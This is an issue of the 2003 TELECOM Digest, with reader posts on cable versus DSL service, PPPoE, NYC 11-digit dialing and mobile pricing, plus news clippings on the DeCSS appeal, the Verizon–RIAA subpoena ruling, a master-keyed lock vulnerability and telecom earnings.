site."" Yeah, VERY local. Gordon S. Hlavenka www.crashelex.com nospam@crashelex.com Grammar and spelling flames welcome. Yes, that's really my email address. Don't change it. ------------------------------ From: reo@roscoe.airaffair.com (Ross Oliver) Subject: Re: The Digest - Suggestions Date: 21 Jan 2003 04:53:44 GMT Organization: Concentric Internet Services To me, the Digest is most importantly a first-person link to all the readers and participants. Mr. Solomon's postings are not first person, but are clippings of the writings of others from major news media. Including reprints as a major portion of the Digest, regardless of their brevity or applicability, seriously diminishes the value of the first person participation that distinguishes the Digest, and USENET News in general, from traditional mass media outlets. Ross Oliver ------------------------------ From: Herb Stein Subject: Re: AT&T Broadband Raises Prices For Cablemodem Service Date: Mon, 20 Jan 2003 23:26:44 -0600 Dave Phelps wrote in message news:telecom22.244.10@telecom-digest.org: > In article , hudsonl@skypoint.com > says: >> [TELECOM Digest Editor's Note: So $58 minus $47 or $61 minus $50 is >> still an $11 difference, or what they charge for the 'basic tier'. I >> would say if they want to watch television, then add the basic tier, >> essentially for free at the new price, however I cannot see what the >> advantage would be if they are not into television. For that matter >> I really have problems with cable modem service also. I cannot see >> where/how it is any faster than DSL, and in fact I've heard rumors >> that cable modem users with 'network neighborhood' enabled on their >> computers get a lot of spies reading their files, etc. True? PAT] > It generally used to be true, but not much anymore. I believe the > DOCSIS 1.1 standard addressed this issue. Otherwise, I would suggest > deciding on a service based on reliability and support of the > provider. > I would avoid SBC DSL, because they *never* have a problem -- just ask > them. I started with cable about 3 years ago. First, it was AT&T, then > switched to Charter. > AT&T had a problem they ignored for a couple of months regarding a > saturated DS3 between St. Louis and Kansas City. They finally added > another. Service was unbearably slow during periods of heavy traffic. > Now I've got Charter, and the local reliability has been very good. > However, regionally, they have a single physical path to their > distribution point. There is no physical route diversity. Bad network > design to be sure. Occasionally this fiber is damaged, or some other > trouble occurs for one reason or another and cable TV and internet > service is out for a period of hours. > OTOH, I've spent more time arguing with SBC DSL tech support in a > month than I've spent talking to Charter tech support in the 2 years > that I've had them. SBC insisted that the problem was not theirs until > the customer decided to drop DSL. > Dave Phelps > deadspam=tippenring Not to defend SBC, even though I retired from there, but I've actually had very good service on the DSL side. I just spent 2 hours on the phone with them after my wife f**ked up her DSL install and they were pleasant the entire time. I'm in St. Louis BTW. I prefer to think that an old retired fart gets no better service that the general public, but who's to say. I've had worse luck on the SDSL circuit which is from AccessUS through IP Communications through SBC (for the copper). Lots of finger-pointing there. It take about a week to get bad outside plant fixed. Herb Stein The Herb Stein Group www.herbstein.com herb@herbstein.com 314 952-4601 ------------------------------ From: Pete Romfh Subject: Sprint Network failure Date: Tue, 21 Jan 2003 00:05:15 -0600 Organization: Not Organized I don't notice any news stories about the two hour failure of the Sprint LD network Monday. They seemed to have covered it fairly well. My company had over 100 sites off-line coast to coast. It occurred between 09:00 and 11:00 Central time. Was anyone else effected? Pete Romfh, Telecom Geek & Amateur Gourmet. promfh at texas dot net ------------------------------ From: PaulCoxwell@aol.com Date: Tue, 21 Jan 2003 06:30:16 EST Subject: Re: Rat Shack and Future Slop >> [TELECOM Digest Editor's Note: Let's hope the new policy is national >> in scope and applies to dealers and agency stores alike. At our local >> Radio Shack agency store here in Independence it was not much of an >> issue since the two guys who manage and own the store know almost >> everyone in town, and everyone knows them. But in the Chicago area for >> many years, this was quite a bone of contention. To buy a set of >> batteries for cash, they wanted to know names, addresses, etc. PAT] > My experience with Rat Shack here in Calgary isn't quite as bad, but > still annoying. Generally, buying some batteries for cash is an > in-the-door, out-the-door proposition. Buying anything more than that > -- for example, I recently bought a laser pointer (as a toy for my > cats -- they *LOVE* chasing that red dot!) -- and you get the request > for all that personal info. The Radio Shack stores in the U.K. go by the name of Tandy, but the same principle applies. It's very seldom I use them (too expensive for most items), but they go through the same routine of asking for name, address, phone number, what you had for breakfast etc. on every little purchase. Paul Coxwell Norfolk, U.K. ------------------------------ Subject: Remember Locksmith for the Apple ][ and //e From: RGilbert@dval.com Date: Tue, 21 Jan 2003 07:50:16 -0500 This article, and the general copy protection for DVD/CD discussions, put me in mind of the old Locksmith program for the Apple ][ and //e computers. This was a great program for copying disks that could not normally be copied. It handle such advanced (for the time) techniques to prevent copying like half tracking, 1/4 tracking, etc. It seemed like everyone playing with Apple computers those days had a copy of Locksmith, and the was always a mad rush when a new version came out. Now, with DMCA, I don't expect to see such comprehensive tools like Locksmith available. Any one else have fond memories of this program? Regards, Ray ------------------------------ From: Joey Lindstrom Date: Tue, 21 Jan 2003 08:51:13 -0700 Subject: PPPoE Reply-To: joey@telussucks.info On Mon, 20 Jan 2003 20:16:04 EST, someone too cool to use a real name wrote: > I will recommend Cable Internet for people who what ease of > installation and support. With cable you basically just plug it in and > then go. > DSL on the other hand requires an inline filter for every phone, fax, > modem, etc. that is using the phone line and most of the time requires > some spyware dial up software to be installed in your pc for PPPoE > authentication. I have heard that the speed is a little faster if you > are closer to the Telco central office or remote office. But I'm > sticking to cable mostly because I can't stand my local phone company > (Qwest) Not all DSLs are created equally, apparently. I have five DSL lines here. None of these lines have those at-the-jack inline filters, although my ISP now offers it as the default option. You can (now at extra cost) get a POTS splitter installed near your demarc, which accomplishes the same thing. In actual fact, the system will work without either the inline filters or the POTS splitter, but your DSL performance can suffer when you're using the line for other things (and particularly when hanging up, picking up the line, etc.) While I understand that this PPPoE thing may not be uncommon south of the 49th, most ISP's here (and I suspect many in the US) don't use it. With my ISP, ""consumer"" grade DSL is set up as if the client machine is simply part of the ISP's ethernet. ISP provides a DHCP server, and client is assigned an IP on the fly. My lines are commercial and thus I have static IP's - I just tell each ethernet adapter what it's IP is, and I'm good to go - NO other configuration, NO spyware, NO PPPoE. Anyone using the above as criteria in choosing between DSL and cable should be aware of these differences, and should investigate these things with their prospective ISP's before signing up. -- Joey Lindstrom -- Telus Sucks http://www.telussucks.info ------------------------------ From: Jack Adams Subject: Re: DSL vs Cable Date: Tue, 21 Jan 2003 14:33:25 -0500 Organization: Lucent Technologies Christopher Wolf wrote in message their >> computers get a lot of spies reading their files, etc. True? PAT] > Depends on the cable system. My understanding is that the most common > DSL tops out below 1.5Mb/sec and drops off quickly as you move away > from the CO. Meanwhile, Time Warner cable modem service in Houston > gives 1.5Mb/sec everywhere, and I often see my residential service > peak at 2Mb/sec. Actually cable modem service also depends on the topology of how the vendor provisions it's segments. Cable is a ""shared media"" transport whereas DSL is not. Sharing of the bandwidth on cable is fine as long as there aren't too many other active subscribers hogging it. The DOCSIS standards still don't provide for individual dynamic bandwidth mediation (AFAIK?) and thus your neighbor who is uploading (narrowest bandwidth) his or her entire electronic photo collection is going bring cable modem transport for other users to a grinding halt. It can also occur in the downstream side, but there it is generally less of a problem due to a much larger spectrum allocation. See for yourself if your cable modem has an ""activity LED"" on it. It is quite similar to the NIC active LEDs in that it indicates packets moving somewhere on the segment that you are attached to. ------------------------------ From: AllstonParkingRefugee@hotmail.com (Allston Parking Refugee) Subject: 11-Digit Dialing Comes to NYC Date: 21 Jan 2003 12:09:56 -0800 Organization: http://groups.google.com/ 11-digit dialing is coming to NYC on February 1, 2003. NYC had managed to hang onto 7 digit dialing even with its overlays for a few years, thanks to the NYS PSC who fought the FCC and lost over this issue. Besides the general stupidity of having to dial an area code when calling within the same area code, this new scheme makes even less sense, since dialing a 1 will now be required for *all* calls, except things like 911, 411, and 0. What's the point of making everyone who calls anywhere dial a 1? How long until they sell phones that dial a 1 as soon as you pick up the receiver? -Apr [TELECOM Digest Editor's Note: That dialing '1' in front of everything is a dumb move. I hope they will fix it at least so that a person who without thinking dials '1911' won't be forced to hang up and dial again. PAT] ------------------------------ From: Mike Hartley Subject: Re: Mobile Operators' Regulatory Time Bomb Date: Tue, 21 Jan 2003 21:58:25 -0000 Old threads never die, they just go to sleep for a while ;+) Note I don't want to stir up a 'my system's better than yours ya boo sucks' exchange here. > service. It's an important reason for the failure of text > messaging in the U.S., since one of the reasons that it's so > popular in Europe is that it's cheaper than voice calls. It's true to say that most mobile contract subscriptions include bundles of 'free' text messages, so the cost of texting is often very low. However the 'texting generation'- generally children/youths under 18 are too young to get contracts and mainly use prepay. Typical texting behaviour is exchanges of multiple messages - each one costing around 10 pence. Voice call costs vary, but you could generally make a one minute mobile-mobile voice call carrying the same (or more) information for less than the cost of a typical text exchange. <..> > little mobile service areas and auctioned each one off > separately, <..> Compare the > experience in the U.S. with that of Canada<..>and the effect of > U.S. fragmentation is clear. Don't forget that there are also two new standards, CDMA and GSM- I'm sure this doesn't help much either, even if you have a dual mode handset. > The worldwide success of GSM is easily attributable to the > fact that GSM was designed later than and is technically > superior to AMPS. Don't forget roaming, and frequency standardisation. > But what of the benefits of the North American system? I > think one can make a strong case that it was bad public > policy in Europe to design a charging scheme and numbering > plan that ensures that mobile service will always cost more > than landline. To be fair, one of the main reasons for the premium is the termination cost charged by the mobile operators. This is about to take a beating from the UK telecoms regulator OFTEL..which won't help my annual bonus one little bit, let me tell you. :+(( > The combination of subscriber pays and our > integrated phone numbering means that cellular and landline > compete head-to-head, both in price and service. Not sure what you man by service in this context, here in the UK mobile nets certainly offer more fautures, and you don't usually have to pay extra for them; for example my mobiel subscripion has incluisive voicemail, call waiting and CLID which would all attract an additional charge if I wanted them on my PSTN line. > In recent years mobile rates have plunged and increasingly approach > landline-style pricing Same here in the UK. Call minutes are a commodity product now, and priced as such. > As a result we're now seeing mobile service replace landline > service, particularly for students and others who move > frequently. If the FCC does its job and makes carriers > implement local number portability between mobile and > landline, I'm sure we'll see vast numbers of people switch to > mobile once they can do so without losing the phone numbers > they already have, something that would never be possible if > calls to mobiles weren't interchangable with calls to > landlines. Fair point, but is number portability really that important in the US market? We've had mobile number portability in the UK for some time now and takeup hasn't really been all that high compared to inter-operator churn. > Europeans certainly sign up for lots of new > mobile service, with an oft-used example being that everyone > in rural Scandinavia uses mobile phones, but that strikes me > as much as an indictment of the failure to provide affordable > landline service as a success of mobile. Possibly. Don't forget that Scandanavia is also home to two of the worlds' dominant mobile equipment manufacturers. > I'm also surprised that as an economist he's not more > troubled by the ridiculous rates that European carriers > charge for inbound calls, due to the inability of callers to > negotiate prices. It costs me under 6 cents/minute to call a > British landline, about the same as to call a U.S. landline > or mobile, but 40 cents to call a British mobile. See my point on OFTELs investigation of mobile termination costs above. You can probably always use a low cost calling card operator though. <..> > Finally, the argument that high inbound rates are beneficial > because they permit carriers to hand out lots of subsidised > phones is unpersuasive. For one thing, subsidies don't depend > on inbound charges. My carrier currently offers a Motorola > C331t phone for free or a Nokia 3360 for $30 if you sign up > for a year or two of service, which is typical of the > subscriber-pays deals here. And typical of any mobile net anywhere in the world trying to pick up customers . Handset subsidies are a serious drain on mobile operators' profits, but sadly traditionally considered a necessary evil to attract contract customers- hence the contract period tie in which is required to recoup the handset cost. The factory gate price of your 3360 probably approaches $150-$200. In the end I don't think there's a 'winning' solution- both methods of charging have their advantages and disavantages, and advocates of either method are influenced to a large degree by what you're used to. The one thing you can be certain of is that there is serious downward pressure on call costs - both regulatory and market driven. Regards, Mike ------------------------------ From: *selah* Subject: Looking for Satellite TV, Internet, Phone Provider Date: 21 Jan 2003 23:10:42 GMT Organization: http://extra.newsguy.com I'm looking for companies that would be able to provide phone, tv and internet from a satellite dish. Would appreciate any info. Thanks. remove ""noe"" to reply ------------------------------ Date: Tue, 21 Jan 2003 16:26:50 -0800 (PST) From: Eric Friedebach Reply-To: friedebach@yahoo.com Subject: Wireless For The Well Off Megan E. Mulligan, 01.21.03, Forbes.com NEW YORK - The Vertu phone was never intended for technophiles. It's big, it's heavy, there's no Palm software available that can turn it into a handheld computer. But the company, an offshoot of mass mobile-phone marketer Nokia, has chosen a contrarian design approach that is filling a particular niche -- occupied by those who tote Hermes towels to the beach and think nothing of jetting to a second home in Paris or the Caribbean for the weekend. Ranging in price from $4,900 to $19,450, Vertu's mobile phones are made of precious materials -- from the extremely durable sapphire crystal faceplate, grown at the company's own castle in Switzerland (only a diamond is harder) to the stainless steel, gold or platinum detailing. Several new designs have been released recently -- one of brushed gold (ironically meant to be less flashy than the polished gold) and another with a mirrored finish on the face. Each phone contains 450 parts rather than the 50 used in most conventional phones, and Swiss watchmakers spend three weeks handcrafting them in a factory outside London. Twenty new patents were developed in the course of product development. http://www.forbes.com/2003/01/21/cz_mm_0121tentech.html Eric Friedebach ------------------------------ Date: Mon, 20 Jan 2003 22:12:35 EST From: dhorvath@cobs.com (David B. Horvath, CCP) Subject: The Digest Was Spammed Again! SPAM, plain and simple PAT. Sorry ... - David At 09:02 PM 1/20/03 -0500, telecom@telecom-digest.org wrote: > From: Protect > Subject: Now is the Time to Get Protected > Reply-To: Protect@home.com > Date: Tue, 21 Jan 2003 14:17:56 -0500 > Organization: Bell Sympatico > Now is the time to get protected. > The reason is believed to be the new porn scandal which is making > everyone more aware of the risks of being investigated. If you havent > already heard, there are a staggering 300,000 suspects on the list, So > far, more than 1300 arrests have been made including a judge, > magistrates, senior public school teachers and 50 police officers. > http://soz.web1000.com/protect.htm David B. Horvath, CCP Consultant, Author, International Lecturer, Adjunct Professor Board Member: ICCP Educational Foundation, ICCP Test Council, and Philadelphia Association of Systems Administrators [TELECOM Digest Editor's Note: May I ask, of curiosity, *who told you* this was spam, and more specifically, 'bad' (that is, mostly useless) spam? I had never seen it prior to getting in the mail yesterday. Most 'bad' spam I get frequently, like everyone else. PAT] ------------------------------ Date: Mon, 20 Jan 2003 23:04:05 -0600 From: Neal McLain Reply-To: nmclain@annsgarden.com Organization: Ann's Garden Subject: 666 PAT Wrote: > [TELECOM Digest Editor's Note: Why do you suppose it is there > is not (and is unlikely to ever be) an area code '666'? Same > reason. Americans are very superstitious people.... Not the mention the fact that all ""YYY"" combination (all three digits the same) are reserved for some unspecified future use. Or, as our friends at put it, YYY combos are ""Unassigned easy-to-recognize."" For that matter, so are all NYY combinations. Apparently you can't get a YYY area code even if you ask for it. According to a story here on TD several years ago, Nevada couldn't get 777, so they had to settle for 775. Sorta like getting two cherries and a lemon. And this raises a question I've been wondering about: what *is* that ""unspecified future use""? Anybody know? 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Townson Two From Europe Make Brazil Phone Deal (Monty Solomon) DMCA: Ma Bell Would Be Proud (Monty Solomon) Article | Telecom Undone - A Cautionary Tale (Monty Solomon) Johansen Verdict Appealed by Norwegian Prosecutors (Monty Solomon) EchoStar in Talks With Murdoch, Liberty Media - WSJ (Monty Solomon) Verizon Must Reveal Internet Song-Swapper - Judge (Monty Solomon) Verizon Must Comply With RIAA's DMCA Subpoena, Judge Sez (Monty Solomon) How to Destroy Data, From Software to Sledgehammer (Monty Solomon) Lucent Technologies Reports Results for 1st Quarter (Monty Solomon) AT&T Reports Fourth-Quarter and Full-Year Results (Monty Solomon) Motorola Unveils Location-Based Services Software For Wireless (Solomon) Zingy Powers Polyphonic Ringtones for Nextel Wireless Phones (M Solomon) Master-Keyed Lock Vulnerability (Monty Solomon) Illegal Snooping Costs Allstate Access to Online DMV (Monty Solomon) Motorola Reports Fourth-Quarter and Full-Year Financial (Monty Solomon) TiVo Announces Resignation of Morgan Guenther, President (Monty Solomon) In Re: Verizon Internet Services, Inc. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Tue, 21 Jan 2003 01:42:22 -0500 From: Monty Solomon Subject: Two From Europe Make Brazil Phone Deal By TONY SMITH SAO PAULO, Brazil, Jan. 16 - Two major European phone companies, Telefonica of Spain and Portugal Telecom, said today that they would acquire the Brazilian mobile phone operator Tele Centro Oeste Celular Participales for just over $1 billion, raising their share in one of the world's fastest-growing wireless markets above 50 percent. The companies said their existing Brazilian joint venture, Telesp Celular Participa��es, would pay 1.4 billion Brazilian reais ($425 million) to Grupo Splice, the main shareholder in Tele Centro Oeste, for its 61 percent voting stake, and then later offer 2 billion reais ($580 million) to minority and nonvoting shareholders for the remainder. Together, Telesp and Tele Centro Oeste would have 16.8 million subscribers, more than three times those of the next biggest carrier in Brazil, Telecom Italia Mobile. The deal would also fill in nearly all the gaps in Telesp's service map, leaving only one state in the north, Minas Gerais, where it must depend on a roaming agreement with a local carrier, V�sper. http://www.nytimes.com/2003/01/17/business/worldbusiness/17WIRE.html ------------------------------ Date: Tue, 21 Jan 2003 02:12:15 -0500 From: Monty Solomon Subject: DMCA: Ma Bell Would Be Proud By Lauren Weinstein (a commentary) 02:00 AM Jan. 20, 2003 PT Get out your wallet. Big business has found another way to tighten the screws on customers, in league with its new partner: the notorious Digital Millennium Copyright Act. Just as naysayers predicted when it was enacted, the DMCA's anticompetitive impact is reverberating widely beyond the entertainment and software industries, with potentially devastating effects on consumers. Businesses have always tried to try control their customers and prevent competition. The saga of Ma Bell -- AT&T's old Bell System -- is a case in point. Not so many decades ago, you couldn't buy or legitimately connect your own phone or other telecom equipment to the public telephone network in the United States, except in some cases if you were the government or a newspaper wire service. Virtually everything related to telephone communications had to be leased from the local monopoly phone company, which also performed all installations and maintenance. http://www.wired.com/news/politics/0,1283,57268,00.html [TELECOM Digest Editor's Note: Lauren Weinstein is a charter subscriber to this Digest also, and has written many articles for telecom, including the infamous somg we publish here from time to time. This most recent article in Wired is well worth reading. PAT] ------------------------------ Date: Tue, 21 Jan 2003 02:37:02 -0500 From: Monty Solomon Subject: Article | Telecom Undone - a Cautionary Tale January 2003 By Peter Huber The demise of the telecommunications industry can be traced to a single source-the FCC's own implementation of the Telecommunications Act of 1996. Huber examines how utopianism and meddlesome arrogance on the part of the government have resulted in the near-total collapse of the telecommunications industry. http://www.manhattan-institute.org/html/_comm-telecom.htm ------------------------------ Date: Tue, 21 Jan 2003 02:45:42 -0500 From: Monty Solomon Subject: Johansen Verdict Appealed by Norwegian Prosecutors http://www.eff.org/IP/Video/DeCSS_prosecutions/Johansen_DeCSS_case/20030120_eff_pr.php Electronic Frontier Foundation Defends Viewing Own DVDs Electronic Frontier Foundation Media Advisory Oslo, Norway - Norwegian government prosecutors today submitted an appeal of the case against Jon Johansen, a teenager who again faces criminal charges for helping to write and publish a DVD descrambling program. Johansen used the program called DeCSS to watch his own DVDs on his Linux computer. Johansen's attorney Halvor Manshaus, of the lawfirm Schj�dt AS, provided the following statement: ""It is correct that the prosecution has decided to appeal the court ruling in this case. This is not unexpected, as the prosecution has flagged this as a case of principle interest. The appeals court, Borgarting lagmannsrett, may decide not to grant the appeal, as there is a screening principle for criminal cases. If the appeal is granted, this means that there will be full proceedings before the appeal court on all aspects of the case, i.e. both factual evidence and legal arguments. I am positive with regard to the final outcome of the case."" ""The lower court ruled unanimously that Johansen did not violate Norwegian law,"" said Electronic Frontier Foundation (EFF) Executive Director Shari Steele. ""Johansen did not violate any copyrights and Norway doesn't have a Digital Millennium Copyright Act that could prevent DVD owners from viewing their own DVDs on their own computers as we have here in the United States."" Links: For this advisory: http://www.eff.org/IP/Video/DeCSS_prosecutions/Johansen_DeCSS_case/20030120_eff_pr.php More on the Johansen case: http://www.eff.org/IP/Video/DeCSS_prosecutions/Johansen_DeCSS_case/ Information on related DVD CCA cases: http://www.eff.org/IP/Video/DVDCCA_case/ About EFF: The Electronic Frontier Foundation is the leading civil liberties organization working to protect rights in the digital world. Founded in 1990, EFF actively encourages and challenges industry and government to support free expression and privacy online. EFF is a member-supported organization and maintains one of the most linked-to websites in the world at http://www.eff.org/ Contact: Shari Steele Executive Director Electronic Frontier Foundation ssteele@eff.org +1 415 436-9333 x103 Halvor Manshaus Attorney Advokatfirmaet Schj�dt AS halvor.manshaus@schjodt.no +47 22 018800 ------------------------------ Date: Tue, 21 Jan 2003 02:59:46 -0500 From: Monty Solomon Subject: EchoStar in Talks With Murdoch, Liberty Media - WSJ NEW YORK, Jan 21 (Reuters) - EchoStar Communications Corp. (NASDAQ:DISH) is in talks to sell itself to Rupert Murdoch or Liberty Media Corp. (NYSE:L), the Wall Street Journal reported on Tuesday. Citing industry officials familiar with the contacts, the newspaper said EchoStar Chairman Charles Ergen, recently blocked by federal regulators from acquiring Hughes Electronics Corp. (NYSE:GMH) and its DirecTV satellite unit, has been talking with Murdoch's News Corp. (AUS:NCP) and Liberty Media but there have not been any formal negotiations. - http://finance.lycos.com/home/news/story.asp?story=31016035 ------------------------------ Date: Tue, 21 Jan 2003 18:13:49 -0500 From: Monty Solomon Subject: Verizon Must Reveal Internet Song-Swapper - judge WASHINGTON, Jan 21 (Reuters) - Recording companies won a victory in their fight against online piracy on Tuesday, when a U.S. court ordered Verizon Communications (NYSE:VZ) to turn over the name of a customer suspected of downloading more than 600 songs in one day over the Internet. The decision could set an important precedent as the recording industry asks schools, businesses and Internet providers to help them track down the online song swappers that they believe are cutting into their sales. Under a 1998 digital-copyright law, Internet providers have voluntarily shut down Web sites that contain infringing material, but they have balked at requests to disconnect users who trade songs with each other directly using ""peer to peer"" networks such as Kazaa and Morpheus. - http://finance.lycos.com/home/news/story.asp?story=31035461 ------------------------------ Date: Wed, 22 Jan 2003 01:12:48 -0500 From: Monty Solomon Subject: Verizon must comply with RIAA's DMCA subpoena, judge Sez http://www.politechbot.com/p-04344.html Date: Tue, 21 Jan 2003 15:17:50 -0500 From: Declan McCullagh Subject: FC: Verizon must comply with RIAA's DMCA subpoena, judge sez I've placed the decision here: http://www.politechbot.com/docs/verizon.riaa.decision.012103.pdf http://news.com.com/2100-1023-981449.html RIAA wins battle to ID Kazaa user By Declan McCullagh January 21, 2003, 12:02 PM PT A federal judge on Tuesday ordered Verizon Communications to disclose the identity of an alleged peer-to-peer pirate in a legal decision that could make it easier for the music industry to crack down on file-swapping networks. In a 37-page decision, U.S. District Judge John Bates said the wording of the 1998 Digital Millennium Copyright Act requires Verizon to give the Recording Industry Association of America the name of a Kazaa subscriber who allegedly was sharing more than 600 music recordings. Bates said ""the court disagrees with Verizon's strained reading of the act, which disregards entirely the clear definitional language."" [...] ------------------------------------------------------------------------- POLITECH -- Declan McCullagh's politics and technology mailing list You may redistribute this message freely if you include this notice. To subscribe to Politech: http://www.politechbot.com/info/subscribe.html This message is archived at http://www.politechbot.com/ Declan McCullagh's photographs are at http://www.mccullagh.org/ ------------------------------------------------------------------------- Like Politech? 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The result was an e-mailbox full of good questions, and an excellent excuse for a column. http://www.boston.com/dailyglobe2/020/business/How_to_destroy_data_from_software_to_sledgehammer+.shtml ------------------------------ Date: Wed, 22 Jan 2003 08:41:28 -0500 From: Monty Solomon Subject: Lucent Technologies Reports Results for First Quarter of Fiscal * Financial results in line with guidance * Revenues of $2.08 billion for the quarter and loss per share of 11 cents * Expects second quarter revenues to increase to about $2.5 billion * Reaffirms return to profitability in fiscal 2003 * Repurchased more than $1 billion of convertible securities to date MURRAY HILL, N.J., Jan. 22 /PRNewswire-FirstCall/ -- Lucent Technologies (NYSE:LU) today reported results for the first quarter of fiscal 2003, which ended Dec. 31, 2002, in accordance with U.S. generally accepted accounting principles (GAAP). The company recorded revenues of $2.08 billion in the quarter, which represented a 9 percent sequential decline from the $2.28 billion in revenues achieved in the fourth quarter of fiscal 2002. The company had previously stated that revenues for the quarter would be flat to down 10 percent on a sequential basis. The company recorded $3.58 billion in revenues in the year-ago quarter. The company's net loss for the quarter was $264 million or 11 cents per share(1). These results compare with a loss of $2.81 billion or 84 cents per share in the fourth quarter of fiscal 2002 and a loss of $423 million or 14 cents per share in the year-ago quarter. The first quarter's loss per share included the favorable impact of 5 cents per share(2) due to the reduction of reserves for a legal settlement associated with Lucent's former consumer products leasing business and certain business restructuring actions, as well as customer financing recoveries. These favorable items were partially offset by a negative impact of 1 cent per share(2) from the repurchase of convertible securities, including the resulting tax benefits. These items resulted in a net favorable impact of 4 cents per share in the first quarter. By comparison, the loss per share for the fourth quarter of fiscal 2002 was negatively impacted by charges of 59 cents per share(2), primarily due to business restructuring charges, a significant customer financing default and other asset impairment charges. The loss per share for the year-ago quarter was favorably impacted by 13 cents per share(2), primarily due to gains related to the sale of the optical fiber business and certain other investments and the reversal of certain business restructuring charges. In addition, results for the year-ago quarter included significant tax benefits, which are not currently recognized due to the full valuation allowance on the company's net deferred tax assets. http://finance.lycos.com/home/news/story.asp?story=31047737 ------------------------------ Date: Thu, 23 Jan 2003 09:06:07 -0500 From: Monty Solomon Subject: AT&T Reports Fourth-Quarter and Full-Year Results BEDMINSTER, N.J., Jan. 23 /PRNewswire-FirstCall/ -- AT&T (NYSE:T) today announced its fourth-quarter and full-year 2002 results. The company's fourth-quarter earnings per diluted share, which reflect a gain in discontinued operations from the disposition of AT&T Broadband, partially offset by a loss from continuing operations resulting from restructuring and asset impairment charges announced earlier this month, was $0.66. The company reported a loss from continuing operations, primarily resulting from an asset impairment charge associated with the company's past investment in AT&T Latin America (ALA), and also reflecting the impact of a restructuring charge associated with planned employee separations and an asset impairment charge related to the value of the company's DSL assets. The loss per diluted share from continuing operations was $0.79. Revenue for the quarter was $9.3 billion, a decline of 8.6 percent from the year-ago quarter. The company attributes the revenue decline to continued declines in long distance voice services, partially offset by growth in local voice as well as data/Internet protocol (IP) and managed services. http://finance.lycos.com/home/news/story.asp?story=31079253 ------------------------------ Date: Thu, 23 Jan 2003 09:07:25 -0500 From: Monty Solomon Subject: Motorola Unveils Location-Based Services Software For Wireless, Consumers Can Easily Access Maps And Turn-By-Turn Directions On Wireless Devices Via One Of Motorola's First Location-Based Software Applications SCHAUMBURG, Ill., Jan. 23 /PRNewswire-FirstCall/ -- Motorola, Inc. (NYSE:MOT) announced today that it is offering wireless carriers, auto manufacturers and other enterprises location-based services software that will deliver relevant, easily accessible information to consumers while they are mobile. Information delivered through the ""ViaMoto"" software can be customized depending on a consumer's personal preference, will be available in virtually any environment and will be available on a variety of wireless phones or other devices. The first two tiers of software offered in the ViaMoto package, GoViaMoto and FindViaMoto, are currently available and are undergoing customer trials with Motorola GPS-enabled cell phones in North America. Consumers can easily interact with ViaMoto applications through human operators (similar to directory assistance), voice recognition, keypad entry, or websites. Easy-to-use location applications like those provided by ViaMoto are expected to be useful, and appealing, to most mobile users. Driscoll-Wolfe's 2002 Wireless Location-Based Services Marketing Research Study states that nearly half of all cell phone users are interested in receiving directions to their destination on their handsets. That same study showed that a third of all mobile phone users would agree to pay $5 per month for unlimited navigation assistance on their phones. ... http://finance.lycos.com/home/news/story.asp?story=31079451 ------------------------------ Date: Thu, 23 Jan 2003 09:09:08 -0500 From: Monty Solomon Subject: Zingy Powers Polyphonic Ringtones for Nextel Wireless Phones Nextel Subscribers Can Customize Communication With a Unique Sound NEW YORK and PLANTATION, Fla., Jan. 23 /PRNewswire-FirstCall/ -- Zingy (http://www.zingy.com ), the largest mobile entertainment provider in North America, today announced an agreement to power the polyphonic ringtones available on Nextel (NASDAQ:NXTL) wireless phones from Motorola (NYSE:MOT). Zingy will offer hundreds of new polyphonic song titles to Nextel subscribers who use the Motorola i95cl and i90c handsets, allowing wireless users to personalize the sound of their phones. Zingy offers 16-chord polyphonic MIDI ringtones, which produce richer, fuller sounding compositions when compared with traditional monophonic ringtones. Ringtones are available in hundreds of song titles and include the latest in hip-hop, rock, pop, classical, and theme music. http://finance.lycos.com/home/news/story.asp?story=31079561 ------------------------------ Date: Thu, 23 Jan 2003 10:08:10 -0500 From: Monty Solomon Subject: Master-Keyed Lock Vulnerability http://www.crypto.com/masterkey.html Matt Blaze AT&T Labs -- Research The threat In a recent research paper, we describe weaknesses in most master-keyed lock systems, such as those used by offices, schools, and businesses as well as by some residential facilities (particularly apartment complexes, dormitories, and condominiums). These weaknesses allow anyone with access to the key to a single lock to create easily the ""master"" key that opens every lock in the entire system. Creating such a key requires no special skill, leaves behind no evidence, and does not require engaging in recognizably suspicious behavior. The only materials required are a metal file and a small number of blank keys, which are often easy to obtain. Needless to say, the ability for any keyholder to obtain system-wide access represents a serious potential threat to the security of master-keyed installations. Individuals and institutions that depend on such locks to protect their safety and property should be aware of these risks and consider alternatives to eliminate or reduce their exposure to this threat. The vulnerability was discovered by applying the techniques of cryptanalysis, ordinarily used to break secret codes, to the analysis of mechanical lock design. The research paper describing this analysis and the discovered vulnerability can be found (in PDF format) on the world wide web at http://www.crypto.com/papers/mk.pdf. (Note -- this file is rather large, about 4MB and is not suitable for download over dialup or slow connections). A version of the paper has been submitted to the IEEE journal ""Security and Privacy."" http://www.crypto.com/papers/mk.pdf ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: Illegal Snooping Costs Allstate Access to Pnline DMV Records Date: Thu, 23 Jan 2003 14:05:30 -0500 By Deborah Lohse Mercury News California's Department of Motor Vehicles has banned Allstate Insurance from checking driver records online after Allstate employees were caught illegally snooping through records of friends, family and others. In one case, an Allstate employee released a confidential home address that enabled an unidentified road-rage driver to send a written threat to another driver. After that incident, the threatened driver complained to DMV, which investigated. It did not learn the identity of the Allstate employee who facilitated the threat, but DMV did find 131 violations of confidentiality rules such as those requiring people who access the data to have individual passwords and sign confidentiality papers. Allstate employees in seven claims offices violated the rules, sometimes by sharing computer passwords on Post-it notes, in other cases by making up fake car-claim numbers to get into friends' or family members' DMV records, officials said. http://www.siliconvalley.com/mld/siliconvalley/4965810.htm ------------------------------ Date: Tue, 21 Jan 2003 18:18:22 -0500 From: Monty Solomon Subject: Motorola Reports Fourth-Quarter and Full-Year Financial Results - Fourth Quarter Sales of $7.5 Billion, up 3% vs. the Prior Year - Fourth Quarter GAAP Earnings of $.08 Per Share vs. Loss Per Share of ($.55) in the Prior Year - Fourth Quarter Earnings, Excluding Special Items, of $.13 Per Share vrs Loss Per Share of ($.04) in the Prior Year - Fourth Quarter Positive Operating Cash Flow of Approximately $500 Million - Ratio of Net Debt to Net Debt Plus Equity Improved to 16.7% from 18.4% in the Prior Year - First Quarter 2003 Guidance: * Sales: $6.0 to $6.2 Billion, Flat to up 3% vs. the Prior Year * GAAP Earnings Per Share: Break-Even to $.02 Per Share vs. Loss Per Share of ($.20) in the Prior Year * Earnings Per Share, Excluding Special Items: Break-Even to $.02 Per 